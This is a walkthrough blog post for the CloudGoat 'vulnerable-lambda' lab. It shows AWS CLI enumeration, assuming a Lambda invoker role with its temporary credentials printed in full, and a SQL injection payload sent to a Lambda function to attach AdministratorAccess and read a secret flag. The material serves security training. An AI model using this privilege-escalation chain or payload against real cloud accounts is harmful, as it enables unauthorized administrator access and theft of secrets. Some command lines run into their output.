Cloud Goat- Vulnerable Lambda Walkthrough
- Vulnerable Lambda
Few commands for enumeration of the user that you already have access to.
aws sts get-caller-identity --profile bilbo
aws iam list-users --profile bilbo
aws iam list-groups-for-user --user-name cg-bilbo-cgido728vgzctb --profile bilbo
aws iam list-attached-user-policies --user-name cg-bilbo-cgido728vgzctb --profile bilbo
aws iam list-user-policies --user-name cg-bilbo-cgido728vgzctb
aws iam get-user-policy --policy-name cg-bilbo-cgido728vgzctb-standard-user-assumer --user-name cg-bilbo-cgido728vgzctbaws iam get-user-policy --policy-name cg-bilbo-cgido728vgzctb-standard-user-assumer --user-name cg-bilbo-cgido728vgzctb
{
"UserName": "cg-bilbo-cgido728vgzctb",
"PolicyName": "cg-bilbo-cgido728vgzctb-standard-user-assumer",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Resource": "arn:aws:iam::940877411605:role/cg-lambda-invoker*",
"Sid": ""
},
{
"Action": [
"iam:Get*",
"iam:List*",
"iam:SimulateCustomPolicy",
"iam:SimulatePrincipalPolicy"
],
"Effect": "Allow",
"Resource": "*",
"Sid": ""
}
]
}
}Since bilbo has “sts:AssumeRole” for ““Resource”: “arn:aws:iam::940877411605:role/cg-lambda-invoker*””,
and so we can check out which permissions the “cg-lambda-invoker” role has with the techniques described above.
Let’s see
Command: aws iam list-roles --profile bilbo | grep cg-lambda-invoker
Output:
"RoleName": "cg-lambda-invoker-cgido728vgzctb",
"Arn": "arn:aws:iam::662465844325:role/cg-lambda-invoker-cgido728vgzctb",aws iam get-role-policy --policy-name lambda-invoker --role-name cg-lambda-invoker-cgidppdgen56gy
{
"RoleName": "cg-lambda-invoker-cgidppdgen56gy",
"PolicyName": "lambda-invoker",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"lambda:ListFunctionEventInvokeConfigs",
"lambda:InvokeFunction",
"lambda:ListTags",
"lambda:GetFunction",
"lambda:GetPolicy"
],
"Effect": "Allow",
"Resource": "arn:aws:lambda:us-east-1:662465844325:function:cgidppdgen56gy-policy_applier_lambda1"
},
{
"Action": [
"lambda:ListFunctions",
"iam:Get*",
"iam:List*",
"iam:SimulateCustomPolicy",
"iam:SimulatePrincipalPolicy"
],
"Effect": "Allow",
"Resource": "*"
}
]
}
}Role Assume:
Assume the Role (The Pivot) Now, tell AWS: “I am Bilbo, but I want the temporary keys for the Lambda Invoker role.”
aws sts assume-role --role-arn arn:aws:iam::662465844325:role/cg-lambda-invoker-cgido728vgzctb --role-session-name "PivotingToLambda" --profile bilbo{
"Credentials": {
"AccessKeyId": "ASIAZUPQKSRSXQLXJIUD",
"SecretAccessKey": "gUjxpyzmfgJ4/lBXOfheYropkvsELCl/sb3NN2a6",
"SessionToken": "FwoGZXIvYXdzEJL//////////wEaDOW+LNh8fkON290vIiK0AQruU08+cHLKiAfEfssn80eOdSH02CdF54ovlwD6KGL0v+gip6D2LWrwaHBfaD9QavBnbVKzCgo+hqGhEVsLnfrAXyq4ATyLvjuXrp4cPHdmKMm5sAR2wvA+4Z/sv4OtU0b4IbyGXjqaqgb9I5bNKjxJAq+eZqrUTiVLpnQ97QeMv5fHJjVVdGol5brDBCNh07nmxCBfH5B+aJZTeOPHhwpWQvMIpRALoTeDA11vWo4wNyrazCjTnMHNBjIthvVF4x0ZEj6FjUP3gfP6A3sp3CQsH9guDC6WCJitv9MG56RnOoqvUXlpm3G4",
"Expiration": "2026-03-10T18:01:07+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROAZUPQKSRSSXKVXGN2E:PivotingToLambda",
"Arn": "arn:aws:sts::662465844325:assumed-role/cg-lambda-invoker-cgido728vgzctb/PivotingToLambda"
}
}Create a New Profile for the Role You can’t just run commands as the role yet. You need to save those keys as a new profile so you can use them. Run these on your Mac:
aws configure --profile lambda_invokerVerify Your New Identity
aws sts get-caller-identity --profile lambda_invokerApple@192 tool % aws sts get-caller-identity --profile lambda_invoker
{
"UserId": "AROAZUPQKSRSSXKVXGN2E:PivotingToLambda",
"Account": "662465844325",
"Arn": "arn:aws:sts::662465844325:assumed-role/cg-lambda-invoker-cgido728vgzctb/PivotingToLambda"
}Now that you are the lambda_invoker, you check what you can do with Lambda:
aws lambda list-functions --profile lambda_invoker{
"Functions": [
{
"FunctionName": "cgido728vgzctb-policy_applier_lambda1",
"FunctionArn": "arn:aws:lambda:us-east-1:662465844325:function:cgido728vgzctb-policy_applier_lambda1",
"Runtime": "python3.9",
"Role": "arn:aws:iam::662465844325:role/cgido728vgzctb-policy_applier_lambda1",
"Handler": "main.handler",
"CodeSize": 1554692,
"Description": "This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2026-03-10T15:48:59.966+0000",
"CodeSha256": "jiFVUPnvtCzGuv9QT5pmEIuOloNiGP0aLQLXtLvl9Hs=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "af8b5e98-b81f-4df5-ac50-4c3657e17b8f",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/cgido728vgzctb-policy_applier_lambda1"
}
}
]
}After you have that function name, you want to see the code to find the vulnerability. Run this command:
# Replace <FUNCTION_NAME> with the one you just found
#<FUNCTION_NAME> cgido728vgzctb-policy_applier_lambda1aws lambda get-function --function-name cgido728vgzctb-policy_applier_lambda1 --profile lambda_invoker{
"Configuration": {
"FunctionName": "cgido728vgzctb-policy_applier_lambda1",
"FunctionArn": "arn:aws:lambda:us-east-1:662465844325:function:cgido728vgzctb-policy_applier_lambda1",
"Runtime": "python3.9",
"Role": "arn:aws:iam::662465844325:role/cgido728vgzctb-policy_applier_lambda1",
"Handler": "main.handler",
"CodeSize": 1554692,
"Description": "This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2026-03-10T15:48:59.966+0000",
"CodeSha256": "jiFVUPnvtCzGuv9QT5pmEIuOloNiGP0aLQLXtLvl9Hs=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "af8b5e98-b81f-4df5-ac50-4c3657e17b8f",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"RuntimeVersionConfig": {
"RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:9af3f4666bc1f0e6c0b9b32f72a8b726527619489199508620f31da683503c4a"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/cgido728vgzctb-policy_applier_lambda1"
}
},
"Code": {
"RepositoryType": "S3",
"Location": "<https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/662465844325/cgido728vgzctb-policy_applier_lambda1-ddad0182-687c-4235-8f9d-0c4ff7889db0?versionId=INfyjz26Vj_jV.RvXvMeHye0ik09QTHF&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEHgaCXVzLWVhc3QtMSJHMEUCIQDB02ptxIeVpLLmRViVP8q8zDsaHcUO6DjrR2CTMbZlkAIgau17VP16TowUOVm%2BBRZhMYxswb5BXFf9pOmcHoHhvyYqiwIIQRAAGgw3NDk2Nzg5MDI4MzkiDDJhwq7c58EBxm6bLyroAbhhw3mz5Irk0T3woJTVmGsz%2BDQl1L%2BOeMLE%2Bdb3uGVcVUjSDQM8rl75yHekXPMlOLL472zke%2BUIszIblUX3UUVMUnO3n8Bvw1MzCJJEqsgXIkDMghtgE8DkuEcGCWvllWT7czY9UKdiywG0GBIVj7bvplBtbyLJux15UBVVcLAKZc3XlqaTz60t37hsTYhcvVXihm0t70bdVx3d0afF9sxBp0SmuS6ftlgpC2RyNIdpaax%2Bb95PuFDRuW6%2FasncHbRSDER5yYU7L4r%2BOhRiopdFZo7DpnbsxGEuhWnAg4Vn%2FE0GxqgJrVwwmJO%2FzQY6jQFAytav0Ub2GTukDQLaS48oT7ioYKF5kSrwAvWDdCj78hFB08j1a9JVW%2FYBNV1s6PiirG3wKmlGjV%2F1SYqftAR7TrI8%2BBmWCdKXOItt5BpWpfTwN2ZIMBwbAo2nDcrE2UqprnEw9xHfPs6GVrgZJ8iLsrcWcRVzHRqp%2Fu4V3X7b%2FPpQ48toVHiNIvU6XBU%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20260310T173216Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIA25DCYHY3Q63YWXKT%2F20260310%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=df19d1948d94be4b87666ed454135ccc919b115d8414924441b9008748902ee0>"
},
"Tags": {
"Name": "cg-cgido728vgzctb",
"Scenario": "vulnerable-lambda",
"Stack": "CloudGoat"
}
}
Through the above s3 we get source code, from where we get main.py file where it tells sqli is happening.
Get Kapil Verma’s stories in your inbox
Join Medium for free to get updates from this writer.
Checking if the function is getting invoked or not?
aws lambda invoke --function-name cgidppdgen56gy-policy_applier_lambda1 --cli-binary-format raw-in-base64-out --payload '{"proxy_variable": "admin'\\'' OR 1=1 --"}' --profile lambda_invoker output.json{
"StatusCode": 200,
"FunctionError": "Unhandled",
"ExecutedVersion": "$LATEST"
}Let’s check the policies form the my_database.db file in the source code:
sqlite3 my_database.db 'select * from policies;'
AmazonSNSReadOnlyAccess|True
AmazonRDSReadOnlyAccess|True
AWSLambda_ReadOnlyAccess|True
AmazonS3ReadOnlyAccess|True
AmazonGlacierReadOnlyAccess|True
AmazonRoute53DomainsReadOnlyAccess|True
AdministratorAccess|FalsePrivilege Escalation
In this case, we could prematurely terminate the following SQL statement because the value of policy is attacker-controlled, removing the requirement of public = 'True':
From the main.py we get the below line of code
statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"`Let’s invoke that function with our sqli payload to grant admin access.
AdministratorAccess’\’’; — “
aws lambda invoke --function-name cgidppdgen56gy-policy_applier_lambda1 --payload '{"policy_names":["AdministratorAccess'\\''; --"],"user_name":"cg-bilbo-cgidppdgen56gy"}' --cli-binary-format raw-in-base64-out response.json --region us-east-1Let’s read that response.json file
Checking if our user has got the admin privs or not:
aws iam list-attached-user-policies --user-name cg-bilbo-cgidppdgen56gyGetting the AWS secrets:
aws secretsmanager list-secretsGetting the flag, id to get from the ARN above:
aws secretsmanager get-secret-value --secret-id cgidppdgen56gy-final_flag








